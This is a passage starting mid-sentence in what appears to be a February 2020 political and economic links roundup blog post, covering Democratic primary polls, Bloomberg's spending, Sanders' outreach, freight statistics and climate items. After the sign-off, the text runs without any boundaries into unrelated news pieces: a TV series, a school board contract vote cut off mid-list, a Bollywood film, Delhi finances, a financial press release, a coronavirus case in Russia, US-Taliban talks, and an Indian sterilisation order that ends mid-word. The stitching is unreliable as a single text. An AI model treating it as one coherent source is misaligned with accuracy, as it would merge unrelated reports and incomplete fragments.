but that could be a data issue.) CA: CA numbers: A eight-point lead for Sanders in CA is impressive, but Im not sure its enough to overcome election chicanery, or Bloombergs money (hes now in second, based purely on advertising). MN: MN numbers: Klobuchar guaranteed some delegates. NC: NC numbers: Sanders leading in a Southern state. TX: TX numbers: Sanders leads in another Southern state (Im guessing from the Latin vote). VA: VA numbers: Bloomberg ties with Sanders; unsurprising given how many of the operatives and NGOs that Bloomberg has bought live in the Northern Virginia burbs. Sanders should get delegates everywhere, though we dont know how soft his support is. (My uninformed guess is less soft than average, because the media vilifies him; it takes a bit of courage to go against that tide.) CAVEAT I think we have to track the polls because so much of the horse-race coverage is generated by them; and at least with these charts were insulating ourselves against getting excited about any one poll. That said, we should remember that the polling in 2016, as it turned out, was more about narrative than about sampling, and that this year is, if anything, even more so. In fact, one is entitled to ask, with the latest I boomlet (bubble? (bezzle?)) which came first: The narrative, or the poll? One hears of push polling, to be sure, but not of collective push polling by herding pollsters. We should also worry about state polls with very small sample sizes and big gaps in coverage. And thats before we get to the issues with cellphones (as well as whether voters in very small, very early states game their answers). So we are indeed following a horse-race, but the horses dont stay in their lanes, some of the horses are not in it to win but to interfere with the others, the track is very muddy, and the mud has splattered our binoculars, such that its very hard to see whats going on from the stands. Also, the track owners are crooked and the stewards are on the take. Everythings fine. * * * Bloomberg (D)(1): People dont appreciate the sheer scale of Bloombergs wealth: He installed a ton of fishtanks in city hall and paid (using his own funds) $62,400/week to have them maintained https://t.co/G0YPgVjCZD the morally corrupt faye resnick (@C0INCELPR0) February 21, 2020 Bloomberg (D)(2): Scale once more: In January, the @MikeBloomberg campaign spent $5,000 per *minute* all month long. https://t.co/iLh27mh8i8 Trip Gabriel (@tripgabriel) February 21, 2020 Bloomberg (D)(3): Its going to take a rich guy to beat Trump: Why some Democrats back Bloomberg [Philip Rucker, Bloomberg]. [H]ere in Stockton, a central California crossroads where low-wage warehouse workers feel left out of the economic boom and the bustling immigrant community has been under siege by President Trumps crackdown, voters have a different take on Bloombergs wealth. Many Democrats here said they didnt know that much about the former New York mayor until he started popping up on television in recent weeks. But after an unprecedented advertising blitz in the run-up to the March 3 Super Tuesday contests when Californias primary will be the biggest prize of all they have begun repeating Bloombergs slogan: Mike will get it done. I dont care that hes a billionaire trying to buy the election, [Lynn Silva, 66, a retired special-education instructor for incarcerated adults, is a lifelong Democrat] said. If thats what it takes to beat Trump, thats fine. I loved [Sen. Kamala D. Harris], but look at her: Out. I loved [Sen.] Cory Booker, but look at him: Out. No money. These arent regular times, Silva added. Weve got to get Trump out. Thats the bottom line.' I wonder if an FDR framing would bring Silva over to Sanders. Bloomberg (D)(4): Bloomberg is the Equal Evil [Counterpunch]. Bloombergs 12-year record as mayor of New York, his billions in personal spending as a political and philanthropic donor, and his many recorded public statements all suggest strongly that a Bloomberg regime would be at least as extreme, dangerous to democracy, lawless, and warlike as a second Trump term. I would never vote for either of these men, who are similar in all the ways that matter most, including a shared record as serial purveyors of misogynistic harrassment of women. Even were it possible to persuade me to vote blue no matter who in Bloombergs case, there is little point in trying. Tens of millions of others who might vote for a Democrat against Trump will never vote for Bloomberg, the Republican oligarch, if he seizes control of the party. Bloomberg (D)(5): The Bloomberg Myth Explodes on Live TV [Matt Taibbi, Rolling Stone]. This was in Links, but I cannot resist this great quote: If Bloomberg cant handle being asked by Warren how many NDAs hes had signed, just imagine when Trump offers him a box to stand on and asks him how it feels to have to spend $4 million per friend. Yep. UPDATE Buttigieg (D)(1): Buttigieg says he can win Republicans in a contest with Trump. The polls dont. [NBC]. Buttigieg earned the support of just 5 percent of self-identified Republican voters in a potential matchup with Trump, who garnered 92 percent in a new NPR/PBS NewsHour/Marist survey taken after Buttigieg tied for first (with Bernie Sanders) in Iowa and finished second in New Hampshire. To be fair to Buttigieg, the distribution of that 5% really matters, as 2016 showed. Sanders (D)(1): Sanderss Secret to Attracting Latino Support: Talking to Them [The Intercept]. Danny Parra, a 19-year-old student who played in the tournament, told The Intercept that hes voting for Sanders specifically because of the campaigns consistent outreach. He added that he doesnt really follow politics, but became interested in Sanders because he was always seeing the campaigns little stands on his community college campus And out of all the Democratic candidates running for the nomination, Latinos gave the most political donations to Sanders, contributing almost $8.3 million to the campaign in 2019, according to an analysis of campaign finance data by Plus Three, a technology company. The analysis, first reported by NBC News last week, found that 36 percent of Latinos dollars went to the democratic socialist. Sanders (D)(2): Inside Bernies Unorthodox Plan To Beat Trump [In These Times]. Its hard to know how much weight to put on the Iowa and New Hampshire results. Both states are more than 90% white and heavily engaged every four years by presidential campaigns. The contests ahead will test whether Sanders can turn out new voters in states with significant populations of Latinos (who heavily favor Sanders) and where working-class voters may never receive another campaigns knock The so-called nonvoter group Sanders is going after includes the newly eligible young voter, the non-registered voter, the occasional voter and the regular voter who doesnt primary. These nonvoters are younger, less affluent and less likely to be white. Most make less than $30,000/year. Reaching these voters costs money and can come at the expense of outreach to more reliable voters. Sanders, the primarys most successful fundraiser, is using that money to cast a broad net, says Chuck Rocha, a senior advisor to the campaign. In the first five primary states, the Sanders campaign began door-knocking almost a year ago, talking with voters to determine who is most likely to be energized by Bernie Sanders. CA will be interesting. Sanders (D)(3): To Dream of a Jewish President [The New Republic]. The rough cantorial rise and fall of his voice says Jew and Jew and Jew while it says justice and billionaires and health care. So when people say Sanders yells, this is what they are reacting to, and it does not speak well of them. This article is well worth a read. Warren (D)(1): The unity candidate: .@Lawrence asks @ewarren the case for her vs. Bernie: I get real stuff done. I dont want to be president just to yell at people, I want to be president to change things. That's why I'm going there." #effective pic.twitter.com/8qb8qXiWuu BoldProgressives.org (@BoldProgressive) February 21, 2020 Warren (D)(2): Picking out the drapes: Sen. Elizabeth Warren: "I want [a VP] who feels this fight passionately and who brings his or her or their own energy to this to get it done." pic.twitter.com/Woby9RaDQi The Hill (@thehill) February 21, 2020 Warren (D)(3): Oopsie (1): Might want to update your website, @ewarren. "Elizabeth rejects the help of Super PACs and would disavow any Super PAC formed to support her in the Democratic Primary. Democrats should show some moral backbone by refusing their one Super PACs in the 2020 primary." pic.twitter.com/qLWIBa8JEX Samuel D. Finkelstein II (@CANCEL_SAM) February 21, 2020 Still up, as of this writing. Staffing problems? UPDATE Warren (D)(4): Oopsie (2): Team Warren sent this email 8 days ago pic.twitter.com/qWAFnCOc9p Steadman (@AsteadWesley) February 20, 2020 * * * UPDATE Another multiple endorsement: New: The @AFTunion is encouraging local and state affiliates to support, be actively involved with, or endorse the candidacies of Vice President Joe Biden, Sen. Bernie Sanders or Sen. Elizabeth Warren. Statement from Randi Weingarten > pic.twitter.com/h41OmZapQ2 Kevin Robillard (@Robillard) February 21, 2020 Id like to have been a fly on the wall at the meetings that led to this outcome. UPDATE Wowsers: Pete Buttigieg and Joe Biden havent invested in any ads in the crucial Super Tuesday states, data show https://t.co/PHrExMjkQK Ben Pershing (@benpershing) February 21, 2020 * * * NV: Nevada Democrats to caucus workers: Dont make early dinner plans' [CBS News]. Seth Morrison, a Nevada precinct site leader, is encouraged that the Nevada Democratic Party invested resources into training, but told CBS News he had concerns that the very dedicated people doing the training are not skilled educators. They tend to rush through the slides, dont allow time for questions and discussion, and many of us have found it hard to absorb such a complex process. It would be really nice if Nevada werent, well, part of a pattern. CA: Democrats try to blunt strong California showing for Sanders [Associated Press]. Sanders has been organizing intensively among Latinos and young voters, producing campaign materials in seven languages, going, as one aide said, where most candidates dont go. Mike Bloomberg has tried to counter Sanders with saturation advertising, including buying time at television stations in Arizona, Nevada and Oregon that also reach California. Pete Buttigieg held three public events in the past week to capitalize on his early state momentum. Joe Biden and Elizabeth Warren remain competitive Bloombergs advertising is buoyed by roughly 300 staff members on the ground, by far the most of any campaign, led by strategists with deep California experience. The campaign will have held 1,000 organizing events in the state by March 3, spokesman Mike Buckley said, including niche get togethers like Surfers for Mike and Scientists for Mike. Biden, meanwhile, has only held public events twice in the state since November and has no television advertising. Warren similarly has spent no time in the state this year, though her campaign is hosting multiple events targeting Latino voters this week and has more than four dozen staff members. A spokesman declined to say if she plans to run TV ads So far, just 8% of Democratic mail voters have returned ballots, according to tracking by Political Data Inc. Just a fraction of the states 5 million independent voters have requested the ability to vote in the Democratic primary, prompting the Sanders campaign to schedule a Friday press conference to highlight and explain the process. The Sanders campaign is unforgivably late taking up how Democrat Party control over the ballot screws over independent voters. Readers will recall weve been pointing to this for months. This is a very interesting article, AP at its best, and worth reading in full. Democrat National Convention UPDATE End Superdelegates Now. [UnifyLabor.org]. Handy list of superdelegates, with contact info. UPDATE Bloomberg quietly plotting brokered convention strategy [Politico]. Mike Bloomberg is privately lobbying Democratic Party officials and donors allied with his moderate opponents to flip their allegiance to him and block Bernie Sanders in the event of a brokered national convention. The effort, largely executed by Bloombergs senior state-level advisers in recent weeks, attempts to prime Bloomberg for a second-ballot contest at the Democratic National Convention in July by poaching supporters of Joe Biden and other moderate Democrats, according to two Democratic strategists familiar with the talks and unaffiliated with Bloomberg. The outreach has involved meetings and telephone calls with supporters of Biden and Pete Buttigieg as well as uncommitted DNC members in Virginia, Texas, Florida, Oklahoma and North Carolina, according to one of the strategists who participated in meetings and calls. Health Care Medicare For All Will Help Improve The Lives Of Black Women [Bernie Sanders, Essence]. It is impossible for any rational person to deny that our current healthcare system is dysfunctional and cruel. As a nation, we spend more than twice as much on health care as the people of almost every major country on earth while achieving worse outcomes. Even worse, Black Americans see only a fraction of those sub-par returns Medicare for All requires us to address racial health disparities. It creates an Office of Primary Health to make sure that people living in underserved areas receive the high-quality health care that they need and that we adequately train doctors, nurses and medical providers to eliminate the unacceptable disparities in healthcare in urban and rural areas. And by substantially increasing funding for the National Health Service Corps as well as fully funding all Historically Black Colleges and Universities, which have a proud tradition of graduating a disproportionate share of Black doctors and nurses, we can facilitate the education of medical professionals and make sure that Black patients are treated with the respect and dignity that they deserve. Nice venue for Sanders. Realignment and Legitimacy UPDATE We Need to Learn Lessons From Labours Antisemitism Crisis' [Jacobin]. The campaign to depict the British Labour Party as a hotbed of antisemitism was, in its profile and its protractedness, unprecedented in modern British politics. One study tallied 5,500 national newspaper articles on the topic between 2015 and 2019. This remarkable proliferation stemmed from the campaigns novel political character. Although Jewish and pro-Israel groups had frequently leveled the charge of antisemitism against the Palestine solidarity movement in the past, Jeremy Corbyns election as Labour leader saw such charges weaponized by the full breadth of Britains establishment, as it sought to discredit and defeat a popular insurgency. Three distinct if overlapping networks pushed the story: the Conservative Party, the Labour Partys own right wing, and Britains pro-Israel Jewish establishment. Each played an indispensable role. Tory and Labour-right allegations would have lacked plausibility without the validation of Jewish leadership groups, which also mobilized considerable resources behind the campaign. UPDATE San Francisco official charged with corruption in FBI probe [Press Democrat (calvin)] . A top San Francisco public official and go-to bureaucrat to mayors over two decades was charged with public corruption Tuesday, upending City Hall as elected leaders scrambled to reassure the public that bribery and kickbacks would not be tolerated . The complaint unsealed against San Francisco Public Works Director Mohammed Nuru and longtime restaurateur Nick Bovis focuses on an aborted attempt in 2018 to bribe a San Francisco airport commissioner for retail space. It also alleges other schemes in which Nuru is accused of trying to help his friend score contracts to build homeless shelters and portable toilets, along with a restaurant at the citys new $2 billion transit station. Nuru is also accused of accepting free labor at his vacation home and a John Deere tractor as well as lavish gifts from a developer, including a $2,070 bottle of wine. I dont understand this; San Francisco is a liberal Democrat enclave. I do wonder what vineyard the bottle of wine came from, though UPDATE Progressive Latino pollster: 98% of Latinos do not identify with Latinx label [ThinkNow, Medium (Cafefilos)]. Over the past few months and years, several of our clients have noticed the term Latinx trending as a new ethnic label to describe Latinos. It has been used by academics, activists, and major companies, including NBC and Marvel , as well as politicians like Senator Elizabeth Warren. We were curious about the appeal of Latinx among the countrys 52 million people of Latin American ancestry and decided to test its popularity. While my colleagues and I are progressive on social issues, as researchers, we have to put aside our personal biases and render advice based on the best available empirical evidence. To examine the acceptance of Latinx our firm conducted a nationwide poll of Latinos using a 508-person sample that is demographically representative of Census figures, yielding a 5% margin of error with a 95% confidence interval. We presented our respondents with seven of the most common terms used to describe Latinos and asked them to select the one that best describes them. When it came to Latinx, there was near unanimity. Despite its usage by academics and cultural influencers, 98% of Latinos prefer other terms to describe their ethnicity. Only 2% of our respondents said the label accurately describes them, making it the least popular ethnic label among Latinos. Thanks, PMC Stats Watch At reader request, I added some business stats back in. Please give Econintersect click-throughs; theyre a good, old-school blog. If anybody knows of other aggregators, please leave links in comments. Rail: Rail Week Ending 15 February 2020 Intuitive Sectors Return to Contraction [Econintersect]. We review this data set to understand the economy. The intuitive sectors (total carloads removing coal, grain, and petroleum) contracted 3.9 % year-over-year for this week. We primarily use rolling averages to analyze the intuitive data due to weekly volatility and the 4 week rolling year-over-year average for the intuitive sectors improved from 0.0 % to -0.6 %. Trucking: Trucking Industry Growth Likely Contracted Again In January 2020 [Econintersect]. Headline data for the American Trucking Association (ATA) and the CASS Freight Index continue to provide opposing statistics the question remains is trucking up or down? The CASS index is inclusive of rail, truck, and air shipments. The ATA truck index is inclusive of only trucking industry member movements (ATAs tonnage data is dominated by contract freight). Even so, CASS breaks out trucking and claims it is down 6.3 % year-over-year and down 3.6 % month-over-month. I put a heavier weight on the CASS index which is consistent with rail and ocean freight. It is not logical that truck freight goes up when industrial production and ocean freight decline not to mention the continuing affects of the trade war and the coronavirus. Econintersect tries to validate truck data across data sources. It appears this month that the truck employment rate of growth continues to slow. * * * Shipping: CargoMetrics data reveals depth of China cargo collapse [Freight Waves]. CargoMetrics has spent the past decade amassing and analyzing ship-movement data, discerning patterns and developing quantitative predictive algorithms. Its now bringing its powers to bear on whats happening in China. After Feb. 7, volumes began to nosedive, with the pace of declines accelerating through Feb. 17, the last day of the index data provided by CargoMetrics. Handy chart for imports: Handy chart for exports: Yikes. Retail: Clicking Buy on Amazon? Its Trying to Prevent a Coronavirus Caveat [New York Times]. Over the past few weeks, Amazon has responded to the crisis by making larger and more frequent orders of Chinese-made products that had already been shipped to the United States, according to company emails and consultants who work with major brands. Some of its suppliers have cut back on advertising and promotions on the site so they dont run out of products too quickly. Amazon also sent an urgent email to brands on Wednesday about Prime Day, its midsummer mega sale, indicating that it has begun worrying about inventory for the event. And the company has contacted some of its third-party merchants, whose dog leashes, crayons and other products account for about 60 percent of its sales, to figure out how their flow of goods might be impeded. Hello! read one recent email from Amazon to a seller, which The New York Times reviewed. We have identified that part of your supply chain process might be China dependent and in light of the coronavirus outbreak effecting manufacturing and logistics in China, we are reaching out to you to understand its impact on your business operations. With its reliance on Chinese manufacturing, Amazon is turning into a case study of how a giant retailer grapples with the fallout from the coronavirus and what may lie ahead for other stores. Great. Tech: Google Just Gave Millions Of Users A Reason To Quit Chrome [Forbes]. To understand why requires a brief guide to how ScrollToTextFragment works. The simple version is it allows Google to index websites and share links down to a single word of text and its position on the page. So if that single word of text is cancer, well Thats valuable data that could be sold. * * * Todays Fear & Greed Index: 45 Neutral (previous close: 49 Neutral) [CNN]. One week ago: 55 (Greed). (0 is Extreme Fear; 100 is Extreme Greed). Last updated Feb 21 at 12:28pm. The Biosphere Jeff Bezoss $10 Billion Climate Pledge Is Actually Tiny [David Wallace-Wells, New York Magazine]. what is significant about the scale of the gift isnt its largeness. Its its tininess. Judged by the standards of the climate crisis, $10 billion is pathetically little practically speaking, almost nothing. The most optimistic assessment I know of suggests that decarbonizing the planets economy would cost, up front, $73 trillion dollars meaning that Bezoss unprecedented commitment amounts to less than one-seven-thousandth of the job. The public is helping us see Jupiter like its never been seen before [CNN]. Since 2016, the Juno spacecraft has circled Jupiter, scanning the atmosphere and mapping its magnetic and gravitational fields. Its also carrying JunoCam, a camera specifically designed to record images of the poles; areas of the gas giant not previously well documented. We do not have a formal imaging science team on Juno, so we have turned to the public to help us out, says Candice Hansen-Koharcheck, Juno co-investigator responsible for JunoCam. The amateur astronomy community assists with planning, she explains, determining when JunoCam should photograph the planet and where. Once images are sent back to Earth, the public has access to raw data, which, with a little photo editing know-how, have been processed into some of the most stunning images yet seen of Jupiter. Citizen science! And a really gorgeous gallery. The Battle for the Future of Food in Africa [Independent Science News (SV)]. The Bill and Melinda Gates Foundation initiated the latest effort to modernize African agriculture. It launched the Alliance for a Green Revolution in Africa (AGRA) in 2006 with the ambitious goal of doubling productivity and incomes for 30 million farm families by 2020. There is little evidence AGRA will come anywhere near achieving those goals. Fed by heavy doses of government subsidies for commercial seeds and synthetic fertilizers, evidence suggests that AGRA has promoted monocultures of a few staple crops, reduced crop and diet diversity, undermined soil fertility, and produced disappointing gains in productivity and farmer incomes. Ten years into AGRA, Global Hunger Index scores remained in the serious or alarming categories for 12 of the 13 AGRA countries. Productivity has risen very slowly even for AGRAs narrow range of priority staple crops. Of Africas top five corn producers, Nigeria and Kenya actually saw declining yields. Even where production increased, such as in Zambia, the gains failed to translate into reductions in rural poverty. Some 78 percent of rural Zambians still live in extreme poverty. The same will be true for billionaire climate efforts, like Bezoss pissant $10 billion project. Oh, No, Not Knotweed! [Slate]. Knotweed has flourished in the U.S.especially in the past few decades, driven by construction and flooding. Experts also believe that climate change plays a role, with disruptions like heavier rainfall, warmer winters, and the desynchronization of native plants and animals all favoring hardy invaders like knotweed. Knotweed is out of control, says the New York City Parks Department, which has spent almost $1 million treating just 30 acres of knotweed citywide since 2010. Nasty stuff. I had some once, and I could actually see it change in height, as I sat in the backyard for an hour. I destroyed it, or at least thinned it out, by growing a tomato patch over it. Health Care Social distancing on the Mainland: Shanghai subway just now, Friday night at about 11pm. The sustained closures are truly remarkable. Still hard to believe people have fully baked in the entirety of the economic impact of the lockdowns here in China. pic.twitter.com/qbas4cfu4Y Paul Mozur (@paulmozur) February 21, 2020 Five Years Later, HIV-Hit Town Rebounds. But The Nation Is Slow To Heed Lessons. [KHN]. With support from his family and community, [26-year-old Ethan Howard] is making his way as a musician after emerging from the hell of addiction, disease and stigma. The former intravenous drug user was among the first of 235 people in this southern Indiana community to be diagnosed in the worst drug-fueled HIV outbreak ever to hit rural America. Now, five years after the outbreak, Howard counts himself among the three-quarters of patients here whose HIV is so well controlled its undetectable, meaning they cant spread it through sex. Hes sober in a place that has new addiction treatment centers, a syringe exchange and five times more addiction support groups than before the outbreak. But as this city of 4,100 recovers, much of the rest of the country fails to apply its lessons. The Centers for Disease Control and Prevention deemed 220 U.S. counties vulnerable to similar outbreaks because of overdose death rates, the volume of prescription opioid sales and other statistics tied to injecting drugs. Yet a Kaiser Health News analysis shows that fewer than a third of them have working syringe exchanges. Class Warfare Frederick Douglass Railed Against Economic Inequality [Jacobin]. Douglass: The Spartan lawgiver who discouraged the accumulation of wealth, because of its tendency to impair the liberties of his country, was fully justified in the extreme measures he adopted, by the universal experience of nations, and the fate of his own country; the fall of Spartan liberties dating from the introduction of wealth and consequent luxury of her citizens. His aim to exterminate wealth and refinement entirely, was, perhaps, not wise; it is not wealth of itself that produces the dreaded effects, but its accumulation in the hands of a few creating an aristocracy of wealth, ready to be the tool of an aggressive tyranny, or to become aggressive upon its own account. With an increase of wealth comes an increase of selfishness, devotion to private affairs, and a contempt of public unless politics can be made to minister to the all absorbing selfishness of the individual. News of the Wired UPDATE Late-breaking news on Valentines Day: * * * Readers, feel free to contact me at lambert [UNDERSCORE] strether [DOT] corrente [AT] yahoo [DOT] com, with (a) links, and even better (b) sources I should curate regularly, (c) how to send me a check if you are allergic to PayPal, and (d) to find out how to send me images of plants. Vegetables are fine! Fungi and coral are deemed to be honorary plants! If you want your handle to appear as a credit, please place it at the start of your mail in parentheses: (thus). Otherwise, I will anonymize by using your initials. See the previous Water Cooler (with plant) here. Todays plant (TH): TH writes: Heres a winter tree for you. Its in Huntington Central Park (Huntington Beach, CA). * * * Readers: Water Cooler is a standalone entity not covered by the annual NC fundraiser. So if you see a link you especially like, or an item you wouldnt see anywhere else, please do not hesitate to express your appreciation in tangible form. Remember, a tip jar is for tipping! Regular positive feedback both makes me feel good and lets me know Im on the right track with coverage. When I get no donations for five or ten days I get worried. More tangibly, a constant trickle of donations helps me with expenses, and I factor in that trickle when setting fundraising goals: Here is the screen that will appear, which I have helpfully annotated. If you hate PayPal, you can email me at lambert [UNDERSCORE] strether [DOT] corrente [AT] yahoo [DOT] com, and I will give you directions on how to send a check. Thank you! Los Angeles, Feb 21 : Actress Jerrika Hinton says playing the first black women to be inducted into the FBI, in the series "Hunters", made her realise that being a trailblazer comes with a burden. Hinton is seen as Millie Malone, a fiery and no-nonsense FBI agent. "Millie is one of the first black women to be a part of the FBI, and that comes with a whole host of challenges," Hinton said. "When I was researching the role, I spoke with two female retired agents. One of them, her name is Jerri Williams, was a bounty of information because she started out in the agency at about this time, and today has her own podcast called 'FBI Retired Case Files'. But some of the stories that she told me in confidence were, were astounding, absolutely outstanding. The things that you had to endure at that time as a trailblazer and I think, you know, it's the burden of any trailblazer," she added. Hollywood veteran Al Pacino entered the digital space with "Hunters". He turns into a Nazi hunter in his debut web series, "Hunters". The conspiracy thriller, produced by the award-winning Jordan Peele, follows a group of Nazi hunters in New York. The group is known as the Hunters. Set in the late 1970s, the trailer follows Pacino on a quest to find a team who will help him violently hunt down Nazis living in the city and planning to start the Fourth Reich in the US. The series went live on Amazon Prime Video on February 21. The series also stars Josh Radnor, Kate Mulvany, Tiffany Boone, Greg Austin, Louis Ozawa Changchien, Carol Kane, Saul Rubinek, Dylan Baker and Lena Olin. The County School Board voted 7-2 on Thursday night for a new four-year contract for Supt. Bryan Johnson that includes a significant raise to a base pay of $240,000. His base pay was $197,500 when he got a four-year contract in 2017. That contract was not due to run out until 2021. In favor were Tiffanie Robinson, Joe Wingate, Tucker McClendon, Karitsa Jones, Joe Smith, Jenny Hill and Kathy Lennon. Opposed were Rhonda Thurman and Steve Highlander. The board also unanimously approved a 2.5 percent employee pay increase. The salary increase is to cost $7 million. Officials said the funding comes from a strong economy and from efficient operations. On the superintendent contract, Ms. Thurman said the board was skirting a state law that has a "blackout period" prior to an upcoming school board election. She said the next school board should have decided on the contract. Chairman Wingate said, "There's no violation of a contract if the two parties agree on a new contract." He said, "I don't base my decisions on getting re-elected." In fact, he said the early approval of the contract might be considered "bad business" for incumbents. Ms. Thurman, who is among board members on the upcoming ballot, said a large majority of citizens were against the move. Dr. Highlander said the board should have stuck with the original pact. He said, "My grandfather taught me that you shake hands and give your word." A number of board members highly praised Dr. Johnson. Ms. Lennon said, "I really feel strongly that leadership matters in Hamilton County. Dr. Johnson is a strong leader. This is a sign that we want him here. I'm very proud of the direction we are going." Ms. Jones said not voting to approve the new contract now is "a risk to lose a leader while the morale of teachers is up." She said, "We could lose him to a Unum." Ms. Hill said that "smart business people invest in talent. By every standard, he has exceeded our expectations. Hamilton County Schools are the envy of the state. Other school officials gasp at what we have achieved." Ms. Robinson said she had received some 50 calls in favor of approving the early contract and only two against. She said if Dr. Johnson left, she might no longer want to be on the board. Mr. Smith said, "We've had four superintendents in 11 years. We need stability." Under the new pact that goes to June 30, 2024, Dr. Johnson also will get the same pay increases as do other school employees. He could earn up to $20,000 in additions to his pay. These include: Mumbai, Feb 21 : Actor Varun Dhawan celebrated wrapping up the shoot of his father David Dhawans upcoming comedy flick "Coolie No 1" with pancakes. The actor took to social media to share the news with fans and called it his "funniest film". Varun took to Instagram and shared the photo on Friday. In the pic, he is seen eating gorging on pancakes for breakfast, with a topping of sliced bananas and chocolate syrup. "Pancake Friday ek number breakfast. Just wrapped filming for #coolieno1 which is the funniest film i have ever been a part of and decided to celebrate like this," he wrote. "Coolie No 1" is David Dhawan's remake of his 1995 comedy flick of the same name. The original film starred Govinda and Karisma Kapoor in the lead. The remake stars Varun Dhawan and Sara Ali Khan. Ace comedians Paresh Rawal, Rajpal Yadav, and Johnny Lever are also in the cast. The film is scheduled to release on May 1. Delhi Finance Minister Manish Sisodia on Friday said that Delhi should be included in the Finance Commission so that it gets its share of central taxes. The comments came soon after his meeting with Union Finance Minister Nirmala Sitharaman. "There was a positive dialogue over issues related to the development of Delhi with the Union Finance Minister. Delhi has not been included in the Finance Commission since 2001 while a Legislature was established here in 1993 only," Sisodia said "This was a courtesy visit after the Aam Aadmi Party government was formed in Delhi. We need continued support from the Union Finance Minister for the next five years," he added. Sisodia stated that more funds have been sought for the civic bodies of Delhi so that sanitation workers, teachers and doctors can be paid and the Yamuna can be cleaned. AAP formed a government in Delhi for the third time recently after it won 62 out of 70 seats in the Delhi Assembly elections held earlier this month. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) ARLINGTON, Va., Feb. 21, 2020 /PRNewswire/ -- Ted Janulis and Ron Weibye have joined the Advisory Board of RiskSpan, a leading provider of fixed-income data and analytics. They bring a wealth of leadership experience in structured products, mortgages, and credit in the financial services industry. "We're thrilled to welcome Ron and Ted to our advisory board. Their combined 60+ years of experience in investment, mortgage, and credit are proving to be an invaluable asset to RiskSpan," said RiskSpan co-founder and CEO Bernadette Kogler. "Ted's commitment to a Sustainable Blue Economy inspires us, and Ron's successful navigation of the crisis at the helm of an investment firm gives us great confidence." Ted Janulis is Founder and Principal at Investable Oceans, an organization that works to connect investors to opportunities in the marketplace of a sustainable, regenerative Blue Economy. Ted has over 30 years of experience in the financial services industry in a variety of leadership positions. He was the Chief Executive Officer of CRT Capital LLC, an independent institutional broker-dealer based in Stamford, Connecticut and New York City, and prior to that served as the Chief Executive Officer of Aurora Bank, FSB. Before Aurora, Ted held several senior management roles at Lehman Brothers including Global Head of Mortgage Capital, and Global Head of the Investment Management Division. He also served on the firm's Executive Committee. He currently serves on the Board of New Media Investment Group Inc, and on the Advisory Board of Roc Capital, an institutional lending and servicing company in New York City. Ron Weibye is co-founder of Aperio Capital Management, LLC, where he serves as the firm's Chief Investment Officer (CIO). Prior to starting Aperio, Weibye was the CIO of the 9W Credit Opportunities Fund, a Structured Credit hedge fund affiliated with Treesdale Partners. Ron has over 30 years of experience working for Wall Street firms, focused in the mortgage and credit markets. He began at Merrill Lynch in the Mortgage Backed Securities Research group. He moved to the mortgage trading desk to run the Mortgage Risk Group and later the Adjustable Rate Mortgage Trading desk. He later joined Greenwich Capital Markets, where he was responsible for all ARM trading and subsequently added Asset-Backed Securities and Mortgage Credit trading to his responsibilities. He moved to Treesdale in 2008 and co-founded Aperio in 2012. "Ron and Ted have a deep understanding of how to drive effectiveness from a board seat. We're thrilled to tackle our growth and development goals with their counsel," said RiskSpan co-founder and CTO Suhrud Dagli. About RiskSpan RiskSpan simplifies the management of complex data and models in the capital markets, commercial banking, and insurance industries. We transform seemingly unmanageable loan and securities data into productive business analytics. Learn more at https://riskspan.com Media Contact Timothy Willis [email protected] (703) 956-5200 SOURCE RiskSpan She was admitted to a Bryansk-based hospital dealing with infectious diseases. A Chinese woman who was traveling by rail from Kyiv to Moscow was taken off the train after crossing into Russia as authorities suspected she had contracted a novel coronavirus. The woman had a fever, Russia's Interfax wrote on February 21. She was taken to the infectious diseases hospital in the Russian city of Bryansk, said head of the local department of the Federal Service for Surveillance on Consumer Rights Protection and Human Wellbeing Lyudmila Trapeznikova. Read alsoBoth Ukrainians who contracted coronavirus on board cruise ship successfully recovered MP According to the official, all passengers that had been traveling in the same rail car were also put in quarantine at the Bryansk city hospital. A detailed report of the incident is yet to be published. As UNIAN reported, the number of patients who have been successfully cured of the novel coronavirus grew to 18,515 as of the morning of February 21. U.S. soldiers board an Army Chinook transport helicopter after it brought fresh soldiers and supplies to the Korengal Outpost on October 27, 2008 in the Korengal Valley, Afghanistan. The United States and the Taliban will sign an agreement on Feb. 29 at the end of a week-long period of violence reduction in Afghanistan, U.S. Secretary of State Mike Pompeo and the Taliban said on Friday. Afghan, international and Taliban forces will observe the reduced violence period beginning at midnight (1930 GMT), an Afghan official and Taliban leaders said earlier. "Following lengthy negotiations between the Islamic Emirate of Afghanistan and the United States of America, both parties agreed to sign the finalized accord in the presence of international observers," a Taliban spokesman said in a statement. Both sides would also make arrangements for the release of prisoners, spokesman Zabihullah Mujahid said. Separately, Pompeo said in a statement that the United States and the Taliban have been engaged in talks to facilitate a political settlement in Afghanistan and to reduce the U.S. presence in the region. The agreement will be signed upon the successful implementation of an understanding with the Taliban on a significant and nationwide reduction in violence, Pompeo added. The agreement could represent a chance for peace in the country after years of war and a U.S. troop presence that dates back to 2001. U.S. and Taliban negotiators have been meeting in Doha since 2018 even though fighting has raged in Afghanistan and thousands of civilians and combatants have been killed as the insurgents have expanded their territorial control. "Based on the plan, the reduction in violence (RIV) will start between the Taliban and international and Afghan security forces for one week," Javid Faisal, spokesperson for the Afghan National Security Advisor, told Reuters. "We hope it is extended for a longer time and opens the way for a ceasefire and intra-Afghan talks," he added. Three senior Taliban leaders two in Doha and one in Afghanistan also confirmed to Reuters that they had agreed on a reduction of violence in Afghanistan for seven days starting Friday night. All three spoke on condition of anonymity. Bhopal: Kamal Nath-led Congress government in Madhya Pradesh has ordered its health workers to bring at least one man for sterilisation by the end of March or face compulsory retirement or their salaries will be withheld. Under the family planning program, the Madhya Pradesh government had set a target of bringing atleast five to ten men for sterilisation. By issuing a circular the National Health Mission (NHM) has asked top district officials and Chief Medical and Health Officers (CHMOs) to identify male workers with 'zero work output' and apply the 'no work no pay' principle. "Officials in the district should identify workers with zero work output and apply the 'no work, no pay' principle if, they have failed to get one male person for sterilisation in the 2019-20 period," stated the order in Hindi, signed by NHM, Madhya Pradesh, Mission Co-ordinator, Chavi Bharadwaj. The circular further stated that if the situation did not improve, proposals recommending compulsory retirement of MPHWs will be sent through District Collectors to the NHM headquarters in Bhopal. The Principal Secretary, Health Department, Pallavi Jain Govil, said that Madhya Pradesh is far behind in terms of the total fertility rate in the country. Our health staff motivates people door-to-door and educates them about proper family planning and means of family planning. She added that the order issued by the government will not be revoked. The workers will have to prove their work. After the state government's decision, BJP condemned it and said that the government's strategy to fulfill the target by creating pressure in not good. BJP MLA Vishwas Sarang said, ''it is right to run a program of sterilization but it is not right to fulfill the intended target by creating such pressure.'' He 